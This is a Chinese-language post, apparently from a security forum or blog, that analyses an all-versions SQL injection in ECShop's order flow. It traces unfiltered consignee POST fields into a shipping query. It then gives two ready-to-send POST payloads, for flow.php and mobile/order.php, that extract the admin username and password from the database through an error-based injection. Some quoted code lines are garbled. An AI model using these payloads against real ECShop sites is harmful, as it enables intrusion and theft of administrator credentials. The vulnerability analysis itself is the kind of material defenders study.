ecshop全版本注入分析

admin · 发表于 2013-1-13 09:48:03

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

漏洞关键文件：

/includes/lib_order.php

关键函数：

01    function available_shipping_list($region_id_list)

02 {

03    $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05          'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

06                $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                $GLOBALS['ecs']->table('area_region') . ' AS r '.

08          'WHERE r.region_id ' . db_create_in($region_id_list) .

09          ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10

11    return $GLOBALS['db']->getAll($sql);

12 }

显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
第531行：

1 $shipping_list    = available_shipping_list($region);

再对传入变量进行追踪：

第530行：

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

第473行：

1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：

/includes/lib_order.php

01 function get_consignee($user_id)

02 {

03    if (isset($_SESSION['flow_consignee']))

04    {

05       /* 如果存在session，则直接返回session中的收货人信息 */

06

07       return $_SESSION['flow_consignee'];

08    }

09    else

10    {

11       /* 如果不存在，则取得用户的默认收货人信息 */

12       $arr = array();

13

14       if ($user_id > 0)

15       {

16          /* 取默认地址 */

17          $sql = "SELECT ua.*".

18                   " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

19                   " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20

21          $arr = $GLOBALS['db']->getRow($sql);

22       }

23

24       return $arr;

25    }

26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？

关键点:

第400行： $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。

然后看下：

01 $consignee = array(

02       'address_id' => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03       'consignee'    => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

04       'country'    => empty($_POST['country']) ? ''

_POST['country'],

05 'province' => empty($_POST['province']) ? ''

_POST['province'],

06 'city' => empty($_POST['city']) ? ''

_POST['city'],

07 'district' => empty($_POST['district']) ? ''

_POST['district'],

08 'email' => empty($_POST['email']) ? ''

_POST['email'],

09 'address' => empty($_POST['address']) ? ''

_POST['address'],

10       'zipcode'    => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),

11       'tel'          => empty($_POST['tel'])       ? '' : make_semiangle(trim($_POST['tel'])),

12       'mobile'       => empty($_POST['mobile'])    ? '' : make_semiangle(trim($_POST['mobile'])),

13       'sign_building' => empty($_POST['sign_building']) ? ''

_POST['sign_building'],

14 'best_time' => empty($_POST['best_time']) ? ''

_POST['best_time'],

15 );

好了注入就这样出现了。

==================

注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106

1.首先需要点击一个商品加入购物车

2.注册一个会员帐号

3.post提交数据

1 http://127.0.0.1/ecshop/flow.php

2

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:

1.点击一个商品，点击购买商标

2.登录会员帐号

3.post提交：

http://127.0.0.1/ecshop/mobile/order.php

country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

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